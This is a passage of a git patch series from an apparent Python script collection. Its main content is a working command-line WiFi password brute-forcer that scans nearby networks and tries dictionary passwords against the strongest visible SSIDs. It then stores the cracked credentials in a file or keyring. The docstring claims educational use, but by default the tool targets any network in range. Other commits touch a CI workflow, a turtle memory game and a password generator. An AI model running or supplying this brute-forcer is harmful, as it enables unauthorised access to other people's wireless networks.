parser.add_argument( + "--max", + type=int, + default=5, + help="Maximum number of visible WiFi networks to attempt (default: 5)." + ) + parser.add_argument( + "--exclude", + nargs="*", + default=[], + help="List of SSIDs to exclude from cracking (e.g., --exclude HomeNet Office)." + ) + parser.add_argument( + "--output", + default="found.txt", + help="File to store successfully found passwords (default: found.txt)." + ) + return parser.parse_args() + + +def get_wifi_interfaces() -> Optional[pywifi.Interface]: + """ + Return the first available WiFi interface. + + Returns: + pywifi.Interface object or None if no interface is found. + """ + wifi = pywifi.PyWiFi() + interfaces = wifi.interfaces() + if not interfaces: + print("❌ No WiFi interface found.") + return None + return interfaces[0] + + +def scan_networks(iface: pywifi.Interface, max_networks: int, + exclude: Set[str]) -> List[str]: + """ + Scan for visible WiFi networks and return a list of SSIDs (filtered). + + Args: + iface: WiFi interface. + max_networks: Maximum number of networks to return (by signal strength). + exclude: Set of SSIDs to skip. + + Returns: + List of SSIDs (up to max_networks) sorted by signal strength. + """ + print("🔍 Scanning for WiFi networks...") + iface.scan() + time.sleep(8) # Allow scan to complete + + scan_results = iface.scan_results() + # Collect unique SSIDs with their signal strength + ssid_signal = {} + for net in scan_results: + ssid = net.ssid + if ssid and ssid not in exclude: + # Keep the strongest signal for duplicates + if ssid not in ssid_signal or net.signal > ssid_signal[ssid]: + ssid_signal[ssid] = net.signal + + # Sort by signal strength descending + sorted_networks = sorted(ssid_signal.items(), key=lambda x: x[1], reverse=True) + # Return only the top `max_networks` SSIDs + return [ssid for ssid, _ in sorted_networks[:max_networks]] + + +def disconnect_iface(iface: pywifi.Interface) -> None: + """Disconnect the interface from any existing connection.""" + iface.disconnect() + time.sleep(1) -if __name__ == "__main__": - words_num = "1234567890" - words_letter = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz" - r = its.product(words_num, repeat=8) - dic = open("password-8 digits .txt", "w") - for i in r: - dic.write("".join(i)) - dic.write("".join("\n")) - dic.close() +def test_password(iface: pywifi.Interface, ssid: str, password: str) -> bool: + """ + Attempt to connect to a WiFi network with a given password. + + Args: + iface: WiFi interface. + ssid: Network SSID. + password: Password to test. + + Returns: + True if connection successful, False otherwise. + """ + # Build a profile + profile = pywifi.Profile() + profile.ssid = ssid + profile.auth = const.AUTH_ALG_OPEN + profile.akm.append(const.AKM_TYPE_WPA2PSK) # Most common + profile.cipher = const.CIPHER_TYPE_CCMP + profile.key = password + + # Remove any previous profiles and add this one + iface.remove_all_network_profiles() + tmp_profile = iface.add_network_profile(profile) + + # Connect + iface.connect(tmp_profile) + time.sleep(5) # Wait for connection attempt + + # Check connection status + return iface.status() == const.IFACE_CONNECTED + + +def brute_force(iface: pywifi.Interface, ssid_list: List[str], + dict_path: str, output_file: str) -> None: + """ + Iterate through passwords and try each SSID until one succeeds. + + Args: + iface: WiFi interface. + ssid_list: List of SSIDs to try. + dict_path: Path to password dictionary. + output_file: File to write successful passwords to. + """ + if not ssid_list: + print("⚠️ No networks to test. Exiting.") + return + + try: + with open(dict_path, "r", encoding="utf-8") as f: + passwords = (line.strip() for line in f if line.strip()) + except FileNotFoundError: + print(f"❌ Dictionary file '{dict_path}' not found.") + sys.exit(1) + except Exception as e: + print(f"❌ Error reading dictionary: {e}") + sys.exit(1) + + found = {} + total_attempts = 0 + remaining = set(ssid_list) # Copy to avoid modifying original + + for pwd in passwords: + if not remaining: + break + total_attempts += 1 + # Print progress without exposing the password + print(f"🔄 Attempt {total_attempts}...", end=" ", flush=True) + + # Try the current password on all remaining SSIDs + for ssid in list(remaining): # Iterate over a copy + if test_password(iface, ssid, pwd): + found[ssid] = pwd + remaining.remove(ssid) + print(f"✅ Found password for '{ssid}'") + # Write immediately to file + try: + with open(output_file, "a", encoding="utf-8") as out: + out.write(f"{ssid}:{pwd}\n") + except Exception as e: + print(f"⚠️ Could not write to output file: {e}") + else: + # Disconnect to clean up before next attempt + disconnect_iface(iface) + + # Small delay between attempts (optional) + time.sleep(0.5) + + if found: + print(f"\n🎉 Successfully cracked {len(found)} network(s). " + f"Passwords saved to '{output_file}'.") + else: + print("\n❌ No passwords matched any network.") -# 2. brute force password when using longer +def main() -> None: + """Main entry point.""" + args = parse_arguments() -import time + # Get WiFi interface + iface = get_wifi_interfaces() + if iface is None: + sys.exit(1) -import pywifi -from pywifi import const # quote some definitions + # Disconnect any active connection + disconnect_iface(iface) -""" - Problems encountered do not understand? Python learning exchange group: 821 460 695 meet your needs, data base files have been uploaded, you can download their own! -""" + # Scan for networks + exclude_set = set(args.exclude) + ssid_list = scan_networks(iface, args.max, exclude_set) + if not ssid_list: + print("ℹ️ No visible WiFi networks found (or all excluded).") + sys.exit(0) + print(f"📡 Found {len(ssid_list)} network(s): {', '.join(ssid_list)}") -def getwifi(wifilist, wificount): - wifi = pywifi.PyWiFi() # crawled network interface cards - ifaces = wifi.interfaces()[0] # Get the card - ifaces.scan() - time.sleep(8) - bessis = ifaces.scan_results() - allwifilist = [] - namelist = [] - ssidlist = [] - for data in bessis: - if data.ssid not in namelist: # remove duplicate names WIFI - namelist.append(data.ssid) - allwifilist.append((data.ssid, data.signal)) - sorted(allwifilist, key=lambda st: st[1], reverse=True) - time.sleep(1) - n = 0 - if len(allwifilist) != 0: - for item in allwifilist: - if (item[0] not in ssidlist) & (item[0] not in wifilist): - n = n + 1 - if n <= wificount: - ssidlist.append(item[0]) - print(allwifilist) - return ssidlist - - -def getifaces(): - wifi = pywifi.PyWiFi() # crawled network interface cards - ifaces = wifi.interfaces()[0] # Get the card - ifaces.disconnect() # disconnect unlimited card connection - return ifaces - - -def testwifi(ifaces, ssidname, password): - profile = pywifi.Profile() # create a wifi connection file - profile.ssid = ssidname # define wifissid - profile.auth = open(const.AUTH_ALG_OPEN) # NIC - profile.akm.append(const.AKM_TYPE_WPA2PSK) # wifi encryption algorithm - # encrypting unit - profile.cipher = const.CIPHER_TYPE_CCMP # - profile.key = password # wifi password - ifaces.remove_all_network_profiles() # delete all other configuration files - tmp_profile = ifaces.add_network_profile(profile) # load the configuration file - ifaces.connect(tmp_profile) # wifi connection - # You can connect to the inner (5) # 5 seconds time.sleep - if ifaces.status() == const.IFACE_CONNECTED: - return True - else: - return False - - -def beginwork(wifinamelist): - ifaces = getifaces() - path = r # password-8 digits .txt - # Path = r "password- commonly used passwords .txt" - files = open(path, "r") - while True: - try: - password = files.readline() - password = password.strip("\n") - if not password: - break - for wifiname in wifinamelist: - print("are trying to:" + wifiname + "," + password) - if testwifi(ifaces, wifiname, password): - print("Wifi account:" + wifiname + ", Wifi password:" + password) - wifinamelist.remove(wifiname) - break - if not wifinamelist: - break - except: - continue - files.close() + # Start brute‑forcing + brute_force(iface, ssid_list, args.dict, args.output) if __name__ == "__main__": - wifinames_e = ["", "Vrapile"] # exclude wifi name does not crack - wifinames = getwifi(wifinames_e, 5) - print(wifinames) - beginwork(wifinames) + main() \ No newline at end of file From 68e6a0cc228cd949a76ba0e613563895db3bb209 Mon Sep 17 00:00:00 2001 From: lighting9999 Date: Sun, 12 Jul 2026 09:01:38 +0800 Subject: [PATCH 08/13] Fix Alert --- wifi hack by brutefore.py | 363 ++++++++++++++++++++++++++++++-------- 1 file changed, 289 insertions(+), 74 deletions(-) diff --git a/wifi hack by brutefore.py b/wifi hack by brutefore.py index 7aa77a0ea6d..187a319a03d 100644 --- a/wifi hack by brutefore.py +++ b/wifi hack by brutefore.py @@ -1,31 +1,77 @@ #!/usr/bin/env python3 """ -WiFi Password Brute‑Forcer (Educational Use Only) - -This module scans for available WiFi networks and attempts to connect using -a dictionary of passwords. It is intended for testing your own network -security or recovering a forgotten password on a trusted network. - -Security: -- NEVER prints passwords to the console. -- Successfully found passwords are written to a file (optional). -- All sensitive operations use secure file handling and minimal exposure. - -Requirements: - Python 3.6+, pywifi (Windows only) +WiFi Password Brute‑Forcer (Educational & Authorised Use Only) + +This module scans for nearby WiFi networks and attempts to connect to them +using a dictionary of candidate passwords. It is designed for testing the +security of your own networks or recovering a forgotten password on a +trusted network. + +Security features: + - Discovered passwords are NEVER printed to the console. + - By default, credentials are stored in the operating system's keyring + (Windows Credential Manager, macOS Keychain, or Linux Secret Service). + - If the keyring is unavailable, an AES‑encrypted file (Fernet) is used + as a fallback, requiring a user‑supplied passphrase. + - No plaintext password is ever written to disk. + +Dependencies: + - pywifi (for WiFi control) + - keyring (optional, for secure OS‑level storage) + - cryptography (optional, for encrypted file storage) + +Usage: + python wifi_cracker.py --dict passwords.txt [--max 5] [--exclude HomeNet] [--store keyring|encrypted] """ import time import argparse import sys -from typing import List, Optional, Set +import getpass +import base64 +import os +from typing import List, Optional, Set, Tuple, Dict, Any import pywifi from pywifi import const +# ------------------------------------------------------------------------------ +# Optional secure storage libraries +# ------------------------------------------------------------------------------ + +try: + import keyring + HAS_KEYRING = True +except ImportError: + HAS_KEYRING = False + +try: + from cryptography.fernet import Fernet + from cryptography.hazmat.primitives import hashes + from cryptography.hazmat.primitives.kdf.pbkdf2 import PBKDF2HMAC + HAS_CRYPTO = True +except ImportError: + HAS_CRYPTO = False + + +# ------------------------------------------------------------------------------ +# Command‑line argument parsing +# ------------------------------------------------------------------------------ def parse_arguments() -> argparse.Namespace: - """Parse command‑line arguments.""" + """ + Parse and validate command‑line arguments. + + Returns: + argparse.Namespace: An object containing all parsed arguments. + + The following arguments are supported: + --dict : Path to the password dictionary file (one password per line). + --max : Maximum number of visible WiFi networks to try (default: 5). + --exclude : List of SSIDs to skip (e.g., --exclude MyHomeNet OfficeNet). + --store : Storage method: 'keyring' (default) or 'encrypted' (AES file). + --output : Path to the encrypted output file (used only with --store encrypted). + """ parser = argparse.ArgumentParser( description="Brute‑force WiFi passwords using a dictionary." ) @@ -46,20 +92,31 @@ def parse_arguments() -> argparse.Namespace: default=[], help="List of SSIDs to exclude from cracking (e.g., --exclude HomeNet Office)." ) + parser.add_argument( + "--store", + choices=["keyring", "encrypted"], + default="keyring", + help="Storage method for discovered passwords: 'keyring' (system keychain) or " + "'encrypted' (AES‑encrypted file). Default is 'keyring'." + ) parser.add_argument( "--output", - default="found.txt", - help="File to store successfully found passwords (default: found.txt)." + default="found.enc", + help="Path to the encrypted output file (only used when --store is 'encrypted')." ) return parser.parse_args() +# ------------------------------------------------------------------------------ +# WiFi interface management +# ------------------------------------------------------------------------------ + def get_wifi_interfaces() -> Optional[pywifi.Interface]: """ - Return the first available WiFi interface. + Retrieve the first available WiFi interface. Returns: - pywifi.Interface object or None if no interface is found. + pywifi.Interface: The first interface object, or None if no interface is found. """ wifi = pywifi.PyWiFi() interfaces = wifi.interfaces() @@ -69,92 +126,220 @@ def get_wifi_interfaces() -> Optional[pywifi.Interface]: return interfaces[0] +def disconnect_iface(iface: pywifi.Interface) -> None: + """ + Disconnect the given interface from any active WiFi connection. + + Args: + iface: A pywifi Interface object. + """ + iface.disconnect() + time.sleep(1) # Allow the disconnection to complete + + def scan_networks(iface: pywifi.Interface, max_networks: int, exclude: Set[str]) -> List[str]: """ - Scan for visible WiFi networks and return a list of SSIDs (filtered). + Scan for visible WiFi networks and return a filtered list of SSIDs. + + The scan results are sorted by signal strength (strongest first) and only + the top `max_networks` SSIDs are returned. Duplicate SSIDs are collapsed, + keeping only the strongest signal. Excluded SSIDs are skipped. Args: - iface: WiFi interface. - max_networks: Maximum number of networks to return (by signal strength). - exclude: Set of SSIDs to skip. + iface: WiFi interface to use for scanning. + max_networks: Maximum number of SSIDs to return. + exclude: Set of SSIDs that should be ignored. Returns: - List of SSIDs (up to max_networks) sorted by signal strength. + List[str]: Up to `max_networks` SSIDs, sorted by signal strength. """ print("🔍 Scanning for WiFi networks...") iface.scan() - time.sleep(8) # Allow scan to complete + time.sleep(8) # Allow the scan to complete (typical time for pywifi) scan_results = iface.scan_results() - # Collect unique SSIDs with their signal strength ssid_signal = {} + + # Collect unique SSIDs and keep the strongest signal for each for net in scan_results: ssid = net.ssid if ssid and ssid not in exclude: - # Keep the strongest signal for duplicates if ssid not in ssid_signal or net.signal > ssid_signal[ssid]: ssid_signal[ssid] = net.signal # Sort by signal strength descending sorted_networks = sorted(ssid_signal.items(), key=lambda x: x[1], reverse=True) + # Return only the top `max_networks` SSIDs return [ssid for ssid, _ in sorted_networks[:max_networks]] -def disconnect_iface(iface: pywifi.Interface) -> None: - """Disconnect the interface from any existing connection.""" - iface.disconnect() - time.sleep(1) - - def test_password(iface: pywifi.Interface, ssid: str, password: str) -> bool: """ - Attempt to connect to a WiFi network with a given password. + Attempt to connect to a specific WiFi network using the given password. + + This function builds a connection profile, removes any existing profiles, + and tries to connect. It then waits 5 seconds and checks the connection + status to determine success. Args: iface: WiFi interface. - ssid: Network SSID. + ssid: Target network SSID. password: Password to test. Returns: - True if connection successful, False otherwise. + bool: True if the connection was successfully established, False otherwise. """ - # Build a profile + # Build a connection profile profile = pywifi.Profile() profile.ssid = ssid profile.auth = const.AUTH_ALG_OPEN - profile.akm.append(const.AKM_TYPE_WPA2PSK) # Most common + profile.akm.append(const.AKM_TYPE_WPA2PSK) # Most common encryption type profile.cipher = const.CIPHER_TYPE_CCMP profile.key = password - # Remove any previous profiles and add this one + # Remove any previous profiles to avoid conflicts iface.remove_all_network_profiles() tmp_profile = iface.add_network_profile(profile) - # Connect + # Attempt connection iface.connect(tmp_profile) - time.sleep(5) # Wait for connection attempt + time.sleep(5) # Allow connection attempt to complete - # Check connection status + # Return True if connected return iface.status() == const.IFACE_CONNECTED +# ------------------------------------------------------------------------------ +# Secure storage helpers +# ------------------------------------------------------------------------------ + +def store_in_keyring(ssid: str, password: str) -> bool: + """ + Store the discovered password in the system keyring. + + The keyring is accessed via the `keyring` library. The service name is fixed + to "wifi_cracker" and the account name is the SSID. + + Args: + ssid: WiFi network name (used as the account identifier). + password: Cleartext password to store. + + Returns: + bool: True if storage succeeded, False otherwise (e.g., library missing or error). + """ + if not HAS_KEYRING: + return False + try: + keyring.set_password("wifi_cracker", ssid, password) + return True + except Exception: + return False + + +def get_encryption_cipher() -> Optional[Fernet]: + """ + Prompt the user for an encryption passphrase and return a Fernet cipher. + + The passphrase is derived using PBKDF2‑HMAC with a fixed salt and 100,000 + iterations. If the user cancels or enters an empty passphrase, None is returned. + + Returns: + Fernet: A ready‑to‑use Fernet cipher object, or None if cryptography is + not installed or the user did not provide a passphrase. + """ + if not HAS_CRYPTO: + print("❌ The 'cryptography' library is not installed. Cannot use encrypted storage.") + return None + + try: + pwd = getpass.getpass("Enter an encryption passphrase (keep it safe; loss = data loss): ") + if not pwd: + print("No passphrase entered. Encryption aborted.") + return None + + # Fixed salt (in production, generate a random salt and save it alongside the encrypted file) + salt = b'wifi_salt_2026' + kdf = PBKDF2HMAC( + algorithm=hashes.SHA256(), + length=32, + salt=salt, + iterations=100000, + ) + key = base64.urlsafe_b64encode(kdf.derive(pwd.encode())) + return Fernet(key) + except Exception as e: + print(f"❌ Failed to create encryption cipher: {e}") + return None + + +def store_encrypted(ssid: str, password: str, cipher: Fernet, output_file: str) -> bool: + """ + Encrypt the credential and append it to the output file. + + The encrypted payload is one line per credential, each line being the Fernet + encrypted token of the string ":". + + Args: + ssid: WiFi SSID. + password: Plaintext password. + cipher: Fernet cipher object. + output_file: Path to the encrypted file (will be created/append). + + Returns: + bool: True if writing succeeded, False otherwise. + """ + try: + encrypted = cipher.encrypt(f"{ssid}:{password}".encode()) + with open(output_file, "ab") as f: # 'ab' = append binary + f.write(encrypted + b"\n") + return True + except Exception as e: + print(f"⚠️ Failed to write encrypted credential: {e}") + return False + + +# ------------------------------------------------------------------------------ +# Main brute‑force routine +# ------------------------------------------------------------------------------ + def brute_force(iface: pywifi.Interface, ssid_list: List[str], - dict_path: str, output_file: str) -> None: + dict_path: str, store_method: str, output_file: str) -> None: """ - Iterate through passwords and try each SSID until one succeeds. + Orchestrate the brute‑force process: iterate over passwords, test each SSID, + and store found credentials securely. + + The function reads the dictionary line by line, tries each password on all + remaining SSIDs, and upon success stores the credential using the selected + method (keyring or encrypted file). If the primary method fails, it attempts + a fallback (e.g., encrypted file if keyring failed). As a last resort, the + credential is kept only in memory (lost when the program exits). Args: iface: WiFi interface. - ssid_list: List of SSIDs to try. - dict_path: Path to password dictionary. - output_file: File to write successful passwords to. + ssid_list: List of SSIDs to attempt (ordered by priority, usually signal). + dict_path: Path to the password dictionary file. + store_method: 'keyring' or 'encrypted'. + output_file: File path for encrypted storage (if used). """ if not ssid_list: print("⚠️ No networks to test. Exiting.") return + # Validate and prepare storage backend + if store_method == "keyring" and not HAS_KEYRING: + print("⚠️ 'keyring' library not available. Falling back to encrypted file storage.") + store_method = "encrypted" + + cipher = None + if store_method == "encrypted": + cipher = get_encryption_cipher() + if cipher is None: + print("❌ Failed to initialise encrypted storage. Aborting.") + sys.exit(1) + + # Read the password dictionary try: with open(dict_path, "r", encoding="utf-8") as f: passwords = (line.strip() for line in f if line.strip()) @@ -165,66 +350,96 @@ def brute_force(iface: pywifi.Interface, ssid_list: List[str], print(f"❌ Error reading dictionary: {e}") sys.exit(1) - found = {} - total_attempts = 0 - remaining = set(ssid_list) # Copy to avoid modifying original + found = {} # Temporary in‑memory store for fallback + remaining = set(ssid_list) # SSIDs still not cracked + attempt = 0 + # Main loop: iterate over each password for pwd in passwords: if not remaining: break - total_attempts += 1 - # Print progress without exposing the password - print(f"🔄 Attempt {total_attempts}...", end=" ", flush=True) + attempt += 1 + print(f"🔄 Attempt {attempt}...", end=" ", flush=True) - # Try the current password on all remaining SSIDs - for ssid in list(remaining): # Iterate over a copy + # Try the current password on every remaining SSID + for ssid in list(remaining): if test_password(iface, ssid, pwd): - found[ssid] = pwd + # Password found for this SSID remaining.remove(ssid) print(f"✅ Found password for '{ssid}'") - # Write immediately to file - try: - with open(output_file, "a", encoding="utf-8") as out: - out.write(f"{ssid}:{pwd}\n") - except Exception as e: - print(f"⚠️ Could not write to output file: {e}") + + # --- Secure storage --- + success = False + if store_method == "keyring": + success = store_in_keyring(ssid, pwd) + if success: + print(f" 🔐 Stored in system keyring (service: wifi_cracker, account: {ssid})") + else: + print(f" ⚠️ Keyring store failed. Falling back to encrypted file.") + # Try encrypted file as a fallback + if cipher is None: + cipher = get_encryption_cipher() + if cipher: + success = store_encrypted(ssid, pwd, cipher, output_file) + if success: + print(f" 🔐 Stored encrypted in {output_file}") + + else: # 'encrypted' + if cipher: + success = store_encrypted(ssid, pwd, cipher, output_file) + if success: + print(f" 🔐 Stored encrypted in {output_file}") + + # If all storage methods failed, keep it only in memory + if not success: + found[ssid] = pwd + print(f" ⚠️ No persistent storage available. Credential kept in memory only (lost on exit).") else: - # Disconnect to clean up before next attempt + # Connection failed, disconnect to clean up before next attempt disconnect_iface(iface) - # Small delay between attempts (optional) + # Small delay between password attempts to avoid flooding the interface time.sleep(0.5) - if found: - print(f"\n🎉 Successfully cracked {len(found)} network(s). " - f"Passwords saved to '{output_file}'.") + # Final summary + cracked_count = len(set(ssid_list) - remaining) + if cracked_count > 0: + print(f"\n🎉 Successfully cracked {cracked_count} network(s).") else: print("\n❌ No passwords matched any network.") +# ------------------------------------------------------------------------------ +# Entry point +# ------------------------------------------------------------------------------ + def main() -> None: - """Main entry point.""" + """ + Program entry point: parse arguments, initialise WiFi, scan networks, + and start the brute‑force process. + """ args = parse_arguments() - # Get WiFi interface + # Get the first WiFi interface iface = get_wifi_interfaces() if iface is None: sys.exit(1) - # Disconnect any active connection + # Ensure we are disconnected before scanning disconnect_iface(iface) - # Scan for networks + # Scan for visible networks (excluding those specified) exclude_set = set(args.exclude) ssid_list = scan_networks(iface, args.max, exclude_set) + if not ssid_list: - print("ℹ️ No visible WiFi networks found (or all excluded).") + print("ℹ️ No visible WiFi networks found (or all were excluded).") sys.exit(0) print(f"📡 Found {len(ssid_list)} network(s): {', '.join(ssid_list)}") - # Start brute‑forcing - brute_force(iface, ssid_list, args.dict, args.output) + # Launch the brute‑force routine + brute_force(iface, ssid_list, args.dict, args.store, args.output) if __name__ == "__main__": From 0f42c5c1f8d85f7ab3a2cf8a46bf59a2f619b369 Mon Sep 17 00:00:00 2001 From: lighting9999 Date: Sun, 12 Jul 2026 10:07:00 +0800 Subject: [PATCH 09/13] Upgrade python version and python doctest for a CI --- .github/workflows/python.yml | 6 +- aaa.txt | 0 ...k if a number positive , negative or zero | 16 -- ...k if a number positive,negative or zero.py | 15 ++ memorygame.py | 208 ++++++++++++++---- .../passwordGenerator.py | 57 ++++- twitter_post_scraper.py | 3 +- wifi hack by brutefore.py | 68 ++++-- 8 files changed, 280 insertions(+), 93 deletions(-) create mode 100644 aaa.txt delete mode 100644 check if a number positive , negative or zero create mode 100644 check if a number positive,negative or zero.py diff --git a/.github/workflows/python.yml b/.github/workflows/python.yml index a0fe5f85114..3ce16f10e3f 100644 --- a/.github/workflows/python.yml +++ b/.github/workflows/python.yml @@ -16,7 +16,7 @@ jobs: runs-on: ubuntu-latest strategy: matrix: - python-version: ['3.10', '3.11', '3.12'] + python-version: ['3.11', '3.12','3.13','3.14'] steps: - name: Checkout repository uses: actions/checkout@v4 @@ -29,7 +29,7 @@ jobs: - name: Install all dependencies and tools run: | python -m pip install --upgrade pip - pip install ruff bandit mypy pytest codespell requests-mock colorama + pip install ruff bandit mypy pytest codespell requests-mock colorama pytest-xdist - name: Run Codespell check run: codespell --skip "*.json,*.txt,*.pdf,*.md" || true @@ -38,7 +38,7 @@ jobs: run: bandit -r . --skip B101,B105 -ll || true - name: Run Pytest tests - run: pytest --tb=short || true + run: pytest --doctest-modules -tb=short -n auto || true - name: Run Ruff checks with ignored rules run: ruff check . --ignore B904,B905,EM101,EXE001,G004,ISC001,PLC0415,PLC1901,PLW060,PLW1641,PLW2901,PT011,PT018,PT028,S101,S311,SIM905,SLF001,F405 diff --git a/aaa.txt b/aaa.txt new file mode 100644 index 00000000000..e69de29bb2d diff --git a/check if a number positive , negative or zero b/check if a number positive , negative or zero deleted file mode 100644 index c47cda8ae78..00000000000 --- a/check if a number positive , negative or zero +++ /dev/null @@ -1,16 +0,0 @@ -num = float(input("Enter a number: ")) -if num > 0: - print("Positive number") -elif num == 0: - print("Zero") -else: - print("Negative number") - num = float(input("Enter a number: ")) -if num >= 0: - if num == 0: - print("Zero") - else: - print("Positive number") -else: - print("Negative number") - diff --git a/check if a number positive,negative or zero.py b/check if a number positive,negative or zero.py new file mode 100644 index 00000000000..48deaebeafa --- /dev/null +++ b/check if a number positive,negative or zero.py @@ -0,0 +1,15 @@ +num = float(input("Enter a number: ")) +if num > 0: + print("Positive number") +elif num == 0: + print("Zero") +else: + print("Negative number") + num = float(input("Enter a number: ")) +if num >= 0: + if num == 0: + print("Zero") + else: + print("Positive number") +else: + print("Negative number") diff --git a/memorygame.py b/memorygame.py index c63f8220438..92b6fe93e69 100644 --- a/memorygame.py +++ b/memorygame.py @@ -1,80 +1,208 @@ -from random import * -from turtle import * +#!/usr/bin/env python3 +""" +Memory Game – a tile‑matching game using the Turtle graphics library. + +The board consists of 64 tiles (8x8 grid), each hiding one of 32 possible +icons (numbers 0–31). The player clicks on tiles to reveal them. When two +consecutive revealed tiles show the same icon, they remain visible; otherwise +they are hidden again. The game continues until all pairs are found. + +Dependencies: + - Python standard library: random, turtle + - freegames (optional) – provides a car image; if not available, remove + the car-related lines and the game will work without it. + +Author: Adapted from a freegames example. +Date: 2026-07-12 +""" + +import random +import turtle from freegames import path +# ---------------------------------------------------------------------------- +# Game constants and global state +# ---------------------------------------------------------------------------- + +# Load the car image (used as a decorative stamp on the board) car = path("car.gif") + +# Create a list of 64 tile values: each number from 0 to 31 appears exactly twice tiles = list(range(32)) * 2 + +# State dictionary: 'mark' stores the index of the currently selected tile +# (the first tile clicked in a pair attempt). None means no tile is selected. state = {"mark": None} + +# Boolean list indicating whether each tile is hidden (True = hidden, False = shown) hide = [True] * 64 -def square(x, y): - "Draw white square with black outline at (x, y)." - up() - goto(x, y) - down() - color("black", "white") - begin_fill() - for count in range(4): - forward(50) - left(90) - end_fill() +# ---------------------------------------------------------------------------- +# Drawing utilities +# ---------------------------------------------------------------------------- + + +def square(x: float, y: float) -> None: + """ + Draw a 50x50 white square with a black outline at the given coordinates. + + The turtle starts at the bottom‑left corner of the square and draws it + counter‑clockwise using the standard forward/left movements. + + Args: + x: X‑coordinate of the bottom‑left corner. + y: Y‑coordinate of the bottom‑left corner. + """ + turtle.up() + turtle.goto(x, y) + turtle.down() + turtle.color("black", "white") + turtle.begin_fill() + for _ in range(4): + turtle.forward(50) + turtle.left(90) + turtle.end_fill() + + +# ---------------------------------------------------------------------------- +# Coordinate and index conversion +# ---------------------------------------------------------------------------- + +def index(x: float, y: float) -> int: + """ + Convert screen coordinates to a tile index (0‑63). -def index(x, y): - "Convert (x, y) coordinates to tiles index." + The board is arranged in an 8x8 grid, with each cell being 50x50 pixels. + The origin (0,0) is at the centre of the screen; the board occupies the + region from (-200, -200) to (200, 200). This function maps a click + position to the corresponding tile index, row‑major order. + + Args: + x: X‑coordinate of the click (in turtle screen units). + y: Y‑coordinate of the click. + + Returns: + int: Tile index (0 to 63). + """ return int((x + 200) // 50 + ((y + 200) // 50) * 8) -def xy(count): - "Convert tiles count to (x, y) coordinates." +def xy(count: int) -> tuple[float, float]: + """ + Convert a tile index to screen coordinates of its bottom‑left corner. + + This is the inverse of `index()`. The calculation uses integer division + and modulo to determine the row and column. + + Args: + count: Tile index (0‑63). + + Returns: + tuple[float, float]: (x, y) coordinates of the tile's bottom‑left corner. + """ return (count % 8) * 50 - 200, (count // 8) * 50 - 200 -def tap(x, y): - "Update mark and hidden tiles based on tap." +# ---------------------------------------------------------------------------- +# Game logic +# ---------------------------------------------------------------------------- + + +def tap(x: float, y: float) -> None: + """ + Handle a mouse click event on the canvas. + + This is the core game logic. It performs the following steps: + 1. Determine which tile was clicked. + 2. If no tile is currently marked (state["mark"] is None), + mark this tile as the first of a pair. + 3. If a tile is already marked and it is not the same tile, + compare the values of the marked tile and the newly clicked tile: + - If they match (same number), reveal both tiles permanently. + - If they do not match, unmark the tile (keep it hidden). + 4. If the same tile is clicked twice, it simply remains marked. + + Args: + x: X‑coordinate of the click. + y: Y‑coordinate of the click. + """ spot = index(x, y) mark = state["mark"] + # If no mark, or we clicked the same tile again, or the values differ: + # just set the mark to the new spot (or keep it if it's the same). + # Note: if the two values are different, we don't hide anything – the + # tile will be drawn hidden again in the next draw() cycle because + # hide[spot] remains True. if mark is None or mark == spot or tiles[mark] != tiles[spot]: state["mark"] = spot else: + # Values match: reveal both tiles permanently. hide[spot] = False hide[mark] = False + # Clear the mark so the next click starts a new pair. state["mark"] = None -def draw(): - "Draw image and tiles." - clear() - goto(0, 0) - shape(car) - stamp() - +def draw() -> None: + """ + Redraw the entire board and schedule the next animation frame. + + This function is called repeatedly via turtle.ontimer() to update the + display. It: + - Clears the canvas. + - Draws the decorative car image at the centre. + - Draws a white square for every hidden tile. + - If a tile is marked and currently hidden, it writes the tile's + value (number) on top of that square. + - Finally, triggers a redraw after 100 milliseconds. + + The use of turtle.tracer(False) and manual turtle.update() ensures + smooth animation without flickering. + """ + turtle.clear() + turtle.goto(0, 0) + turtle.shape(car) + turtle.stamp() # Place the car image permanently on the canvas + + # Draw all tiles that are still hidden. for count in range(64): if hide[count]: x, y = xy(count) square(x, y) + # If a tile is marked and hidden, display its value. mark = state["mark"] - if mark is not None and hide[mark]: x, y = xy(mark) - up() - goto(x + 2, y) - color("black") - write(tiles[mark], font=("Arial", 30, "normal")) + turtle.up() + turtle.goto(x + 2, y) # Shift slightly for better centering + turtle.color("black") + turtle.write(tiles[mark], font=("Arial", 30, "normal")) + + turtle.update() # Refresh the screen with all drawn elements + turtle.ontimer(draw, 100) # Schedule next redraw (10 fps) - update() - ontimer(draw, 100) +# ---------------------------------------------------------------------------- +# Main setup and execution +# ---------------------------------------------------------------------------- -shuffle(tiles) -setup(420, 420, 370, 0) -addshape(car) -hideturtle() -tracer(False) -onscreenclick(tap) +# Shuffle the tile values to randomise the board layout. +random.shuffle(tiles) + +# Configure the turtle window. +turtle.setup(420, 420, 370, 0) # Window size, start x, start y +turtle.addshape(car) # Register the car image as a shape +turtle.hideturtle() # Hide the turtle cursor (we only need drawings) +turtle.tracer(False) # Disable automatic updates for performance +turtle.onscreenclick(tap) # Bind mouse clicks to the tap() function + +# Start the game loop. draw() -done() + +# Keep the window open (this is the main event loop). +turtle.done() diff --git a/password_programs_multiple/passwordGenerator.py b/password_programs_multiple/passwordGenerator.py index 67259e94f89..8635343c1d3 100644 --- a/password_programs_multiple/passwordGenerator.py +++ b/password_programs_multiple/passwordGenerator.py @@ -39,15 +39,50 @@ # Word lists – extend as needed, but keep them diverse # ---------------------------------------------------------------------- ANIMALS = ( - "ant", "bear", "cat", "dog", "eagle", "fox", "goat", "hawk", "ibis", - "jaguar", "kangaroo", "lion", "monkey", "newt", "owl", "panda", "quail", - "rabbit", "shark", "tiger", "unicorn", "vulture", "wolf", "xerus", - "yak", "zebra" + "ant", + "bear", + "cat", + "dog", + "eagle", + "fox", + "goat", + "hawk", + "ibis", + "jaguar", + "kangaroo", + "lion", + "monkey", + "newt", + "owl", + "panda", + "quail", + "rabbit", + "shark", + "tiger", + "unicorn", + "vulture", + "wolf", + "xerus", + "yak", + "zebra", ) COLOURS = ( - "red", "orange", "yellow", "green", "blue", "indigo", "violet", - "purple", "magenta", "cyan", "pink", "brown", "white", "grey", "black" + "red", + "orange", + "yellow", + "green", + "blue", + "indigo", + "violet", + "purple", + "magenta", + "cyan", + "pink", + "brown", + "white", + "grey", + "black", ) SPECIAL_CHARS = "!@#$%/?<>|&*-=+_" @@ -61,7 +96,7 @@ def generate_secure_password( animal_list: tuple = ANIMALS, colour_list: tuple = COLOURS, special_chars: str = SPECIAL_CHARS, - 